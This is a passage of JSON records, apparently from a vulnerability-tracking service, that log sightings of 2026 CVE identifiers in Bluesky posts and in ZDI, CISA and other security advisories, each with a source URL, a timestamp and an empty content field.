"72fb784e-8a03-4f52-8492-02b2192180ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0071", "content": "", "creation_timestamp": "2026-03-06T06:24:19.000000Z"}, {"uuid": "6dad4755-5825-4196-8dda-8d35d8df5362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/solidot.bsky.social/post/3melqlvbz4s2v", "content": "", "creation_timestamp": "2026-02-11T15:00:58.449219Z"}, {"uuid": "fb22f13f-fd4c-454e-8c8f-e3ccdbfd84a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/techimo.bsky.social/post/3menn3e3hmc2s", "content": "", "creation_timestamp": "2026-02-12T09:03:22.073548Z"}, {"uuid": "60aea74d-dd67-4cda-b6f5-9cb99d718b20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mf77hkpvuh2d", "content": "", "creation_timestamp": "2026-02-19T08:47:34.744754Z"}, {"uuid": "c83470b0-33a6-434e-9f1d-c9ae3466d83a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:08.702029Z"}, {"uuid": "af857d07-8ae1-41f7-ae65-95ab06e1d25d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:09.260008Z"}, {"uuid": "5374249c-08e5-48e7-9de9-b81e25765d0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/meneguzzo68.bsky.social/post/3melqq6hi622k", "content": "", "creation_timestamp": "2026-02-11T15:03:25.340355Z"}, {"uuid": "7c23845b-3d4e-4747-98a2-495a74243170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mg6oy27srs2l", "content": "", "creation_timestamp": "2026-03-03T21:17:46.585951Z"}, {"uuid": "653bdb79-f204-41fe-be47-a8c31cf51ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mgbqsk2slf2p", "content": "", "creation_timestamp": "2026-03-05T02:28:27.744856Z"}, {"uuid": "75e74c5e-cdaa-459b-97e9-60e0d08bbb0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20100", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:08.862362Z"}, {"uuid": "4dac5e6e-836c-4be2-9383-d88d41b5fdd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/kdmsnr.com/post/3melqz7roij2a", "content": "", "creation_timestamp": "2026-02-11T15:08:25.789618Z"}, {"uuid": "99007558-7998-4e80-94a6-e408d7df0c85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mennd7omuk2b", "content": "", "creation_timestamp": "2026-02-12T09:07:45.465008Z"}, {"uuid": "83d05743-9a51-432f-ac33-ddad7ceb49f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mg6p2gbxec2l", "content": "", "creation_timestamp": "2026-03-03T21:19:05.934404Z"}, {"uuid": "cfaa77d8-9887-4812-84c0-b8e3bb0549b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20031", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyceh7et2w", "content": "", "creation_timestamp": "2026-03-05T14:15:14.141822Z"}, {"uuid": "674cedd8-b87c-42d0-9d3c-90a1a481102b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mennggeub52v", "content": "", "creation_timestamp": "2026-02-12T09:09:33.220489Z"}, {"uuid": "1b329e6c-61bc-4801-a0e2-6af013315153", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mfrtwz67ei2l", "content": "", "creation_timestamp": "2026-02-26T18:42:04.227962Z"}, {"uuid": "e539f764-c968-487d-ae08-dbf084644abb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20840", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3me43g6zph42u", "content": "", "creation_timestamp": "2026-02-05T09:32:03.594305Z"}, {"uuid": "5790ba4f-a97c-4385-8fbf-e2f2d1794686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20922", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3me43g6zph42u", "content": "", "creation_timestamp": "2026-02-05T09:32:03.708715Z"}, {"uuid": "0a6c6890-2f72-41d5-89a1-f302d09d7219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/applebriefly.bsky.social/post/3meow4qwv4i27", "content": "", "creation_timestamp": "2026-02-12T21:17:52.672512Z"}, {"uuid": "b4fc3501-4dc5-4001-a21c-8f04e2dffcc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mg6pmxutcc2l", "content": "", "creation_timestamp": "2026-03-03T21:29:33.164822Z"}, {"uuid": "5d91fb9b-efc4-4da6-a2f2-767cab455a6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/zand.dev/post/3meowfm3xnk25", "content": "", "creation_timestamp": "2026-02-12T21:22:49.485502Z"}, {"uuid": "2f95b5d8-3649-4ca5-b13e-ec3628911268", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/hnfeed.bsky.social/post/3melu2xr4572h", "content": "", "creation_timestamp": "2026-02-11T16:03:05.679684Z"}, {"uuid": "ed2f1685-15c6-43a3-8509-baa18cc9e645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mg6prb7zrs2l", "content": "", "creation_timestamp": "2026-03-03T21:32:02.063596Z"}, {"uuid": "85f1d09e-128f-4e44-993e-cf42d6849841", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/neroqc.bsky.social/post/3melujcjjz22u", "content": "", "creation_timestamp": "2026-02-11T16:11:10.534561Z"}, {"uuid": "c4888e1e-caf7-4f24-896b-017ab8152641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/lunamoth.bsky.social/post/3menoy4kbms22", "content": "", "creation_timestamp": "2026-02-12T09:37:25.168746Z"}, {"uuid": "36757757-3b97-4423-9730-2cd2d4757fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/sctocs.bsky.social/post/3mfruj3we7k2b", "content": "", "creation_timestamp": "2026-02-26T18:52:13.975539Z"}, {"uuid": "ffb1f624-b014-49ad-8732-50a379f79933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/lunamothryu.bsky.social/post/3menpiidvp22b", "content": "", "creation_timestamp": "2026-02-12T09:46:33.569433Z"}, {"uuid": "9a131280-da31-4910-8d60-42cbf3b60bc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/mynameisv.bsky.social/post/3meluslfqts2c", "content": "", "creation_timestamp": "2026-02-11T16:16:18.264212Z"}, {"uuid": "7512ee0f-0cc6-4386-9883-7d9fb3864779", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/eltableroglobal.bsky.social/post/3melusqquxo2x", "content": "", "creation_timestamp": "2026-02-11T16:16:23.263805Z"}, {"uuid": "a7fcdbb2-97df-4b3a-9723-56bca3702a8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3meoxxgrzeeh2", "content": "", "creation_timestamp": "2026-02-12T21:50:55.407151Z"}, {"uuid": "7db7903e-60e9-4a3a-a885-ec39bc7d94f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/eltableroglobal.bsky.social/post/3melusrbs7x2j", "content": "", "creation_timestamp": "2026-02-11T16:16:24.056178Z"}, {"uuid": "3fe9c86a-de94-4f5e-8eb4-a6528eca1c29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3melv5qoewh2w", "content": "", "creation_timestamp": "2026-02-11T16:22:32.799464Z"}, {"uuid": "582c3675-4363-4446-8273-34ebe19e4515", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3melv5rfpne2t", "content": "", "creation_timestamp": "2026-02-11T16:22:33.721898Z"}, {"uuid": "c54a8f0e-3246-4f8a-90e8-f6da2410045b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3melvsf42dm2w", "content": "", "creation_timestamp": "2026-02-11T16:34:05.428275Z"}, {"uuid": "a8235606-0992-480c-8b34-5079a3bdc8b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mep2dts4zs2z", "content": "", "creation_timestamp": "2026-02-12T22:33:25.019108Z"}, {"uuid": "483af6ec-9de9-425e-9bb6-39a97e8509e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mep2eqtpos22", "content": "", "creation_timestamp": "2026-02-12T22:33:55.296304Z"}, {"uuid": "83fff59d-4a17-40e8-8f51-17772191f1a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/itsaderpdrone.bsky.social/post/3melw4vtyyk2g", "content": "", "creation_timestamp": "2026-02-11T16:39:59.156005Z"}, {"uuid": "d69cb2ec-abbd-4fd3-980a-2e5a6eca655f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20882", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgfrw3x2i72e", "content": "", "creation_timestamp": "2026-03-06T16:58:59.661036Z"}, {"uuid": "87d19942-938d-4d47-97ed-ac4106866cf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfv6h5jeby2p", "content": "", "creation_timestamp": "2026-02-28T02:28:00.930598Z"}, {"uuid": "13177cc8-6bc5-48e8-9a93-1e92448f5b83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20119", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3meftakrl5k2q", "content": "", "creation_timestamp": "2026-02-09T06:32:21.552363Z"}, {"uuid": "bb40a2e4-23ed-4554-894e-33141ec5da8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfdl7c2sfx2k", "content": "", "creation_timestamp": "2026-02-21T02:28:21.317952Z"}, {"uuid": "6fac12bf-cccb-4614-ad0d-020bb13bb7b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfdl7c2sfx2k", "content": "", "creation_timestamp": "2026-02-21T02:28:21.234905Z"}, {"uuid": "ad504636-45af-436e-88d2-4d2e104e0c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3merfr6u5km2v", "content": "", "creation_timestamp": "2026-02-13T21:03:11.245417Z"}, {"uuid": "aa4d3b40-31b6-4055-9d5c-b985f96d31a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20742", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfvaarx57b22", "content": "", "creation_timestamp": "2026-02-28T03:00:15.041700Z"}, {"uuid": "009d20d5-d459-4988-ba45-e135a93e2bca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mfrx3hitbc23", "content": "", "creation_timestamp": "2026-02-26T19:38:14.089465Z"}, {"uuid": "71ad014e-37f0-4e9c-8496-2caf48252a30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-07)", "content": "", "creation_timestamp": "2026-03-07T00:00:00.000000Z"}, {"uuid": "80b58b90-971a-4dc8-aa7c-bba53c7894fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mgft3sath72m", "content": "", "creation_timestamp": "2026-03-06T17:20:05.072353Z"}, {"uuid": "7ab0ca12-a7de-4120-8b72-3f05b055a7c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2017", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me6vryatxq2h", "content": "", "creation_timestamp": "2026-02-06T12:29:16.045480Z"}, {"uuid": "594c9b0f-6bfc-4eb1-a7b1-be105a18f6c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mfb4kqujey2w", "content": "", "creation_timestamp": "2026-02-20T03:00:59.943309Z"}, {"uuid": "4a8d409a-d0c2-4808-ae66-160669cfdb31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20910", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfvbeem5hi2i", "content": "", "creation_timestamp": "2026-02-28T03:20:09.170479Z"}, {"uuid": "9cb4d656-6180-4beb-b4d1-aa1ee9205f5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mgft3sath72m", "content": "", "creation_timestamp": "2026-03-06T17:20:05.198636Z"}, {"uuid": "52d225bc-8b48-46f7-b898-f4248d2eaf6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mgbwtoel3w23", "content": "", "creation_timestamp": "2026-03-05T04:16:28.174477Z"}, {"uuid": "7c6bd4d1-c733-449d-95ba-6ddc7021bfb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2035", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-078/", "content": "", "creation_timestamp": "2026-02-12T05:00:00.000000Z"}, {"uuid": "4068b77a-2391-4796-939e-3e5cc7ad0512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mgd4uocmib24", "content": "", "creation_timestamp": "2026-03-05T15:37:04.014565Z"}, {"uuid": "77a1de0f-0546-4f38-a6d3-46a6f07ee739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2039", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-077/", "content": "", "creation_timestamp": "2026-02-12T05:00:00.000000Z"}, {"uuid": "9c7bda24-cfb2-4848-869b-ae1bff5494c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2041", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmrgvtsg425", "content": "", "creation_timestamp": "2026-02-24T18:13:56.895263Z"}, {"uuid": "d783e9c8-f6fe-4a11-b087-cbf10485ecbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3mga43l3b5y27", "content": "", "creation_timestamp": "2026-03-04T10:45:02.584603Z"}, {"uuid": "326c3f73-49f9-47ce-9430-743da8793d87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2036", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-076/", "content": "", "creation_timestamp": "2026-02-12T05:00:00.000000Z"}, {"uuid": "9a87e7cc-e401-4a2b-b8a0-2a47d412385b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2042", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmrh46uh52k", "content": "", "creation_timestamp": "2026-02-24T18:14:03.286701Z"}, {"uuid": "bc3c9180-b69f-4bf9-ab61-01b172458be5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/ehcgroup.bsky.social/post/3mgfvck6wfs26", "content": "", "creation_timestamp": "2026-03-06T17:59:40.361401Z"}, {"uuid": "fc7dc113-ded0-4ef6-a5e5-f7d533dad18e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3meiqrhtdni2d", "content": "", "creation_timestamp": "2026-02-10T10:26:06.552229Z"}, {"uuid": "70d3045b-23b8-4b3b-ac43-2a762d0c1129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2038", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-075/", "content": "", "creation_timestamp": "2026-02-12T05:00:00.000000Z"}, {"uuid": "29217320-6bc5-4b1d-98bb-825fc8f529ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2026", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/tenable-security-advisory-av26-129", "content": "", "creation_timestamp": "2026-02-13T19:15:48.000000Z"}, {"uuid": "43c54da5-5bdd-4dea-ad9a-f1e868f0a4e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2043", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmrhcpnov26", "content": "", "creation_timestamp": "2026-02-24T18:14:10.262671Z"}, {"uuid": "ea142f6c-3207-4ec5-ad89-e6d3a325a1a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2037", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-074/", "content": "", "creation_timestamp": "2026-02-12T05:00:00.000000Z"}, {"uuid": "ffa66f97-3e12-4af1-bd08-39cda8681bc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20792", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-05", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "c878a8b1-df75-4850-87cf-9f60a6a6f72f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/sctocs.bsky.social/post/3mgfvn535zs2t", "content": "", "creation_timestamp": "2026-03-06T18:05:42.888312Z"}, {"uuid": "f62b1710-f0a3-4d33-b783-04510f387af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2041", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-073/", "content": "", "creation_timestamp": "2026-02-12T05:00:00.000000Z"}, {"uuid": "d837c066-8c4e-4c6b-b859-44b1fd810ddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgc3jdis7h22", "content": "", "creation_timestamp": "2026-03-05T05:40:09.832759Z"}, {"uuid": "e0749476-f87b-4403-8093-23bde219c92b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mgd5u77idj2p", "content": "", "creation_timestamp": "2026-03-05T15:54:41.562735Z"}, {"uuid": "cf5d02ea-7edf-4f7f-894e-a49fc6a2c0bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/sctocs.bsky.social/post/3mgfvn535zs2t", "content": "", "creation_timestamp": "2026-03-06T18:05:43.036120Z"}, {"uuid": "fc4c403c-aa76-4fb8-a42a-c327cea6c335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2043", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-072/", "content": "", "creation_timestamp": "2026-02-12T05:00:00.000000Z"}, {"uuid": "f019a9f6-d5af-4d8b-8e96-9d14e27ea5d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20841", "type": "seen", "source": "https://infosec.exchange/users/timb_machine/statuses/116099757438347673", "content": "", "creation_timestamp": "2026-02-20T03:41:19.891610Z"}, {"uuid": "d3ccb983-6fca-4788-843f-6831310e4c4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 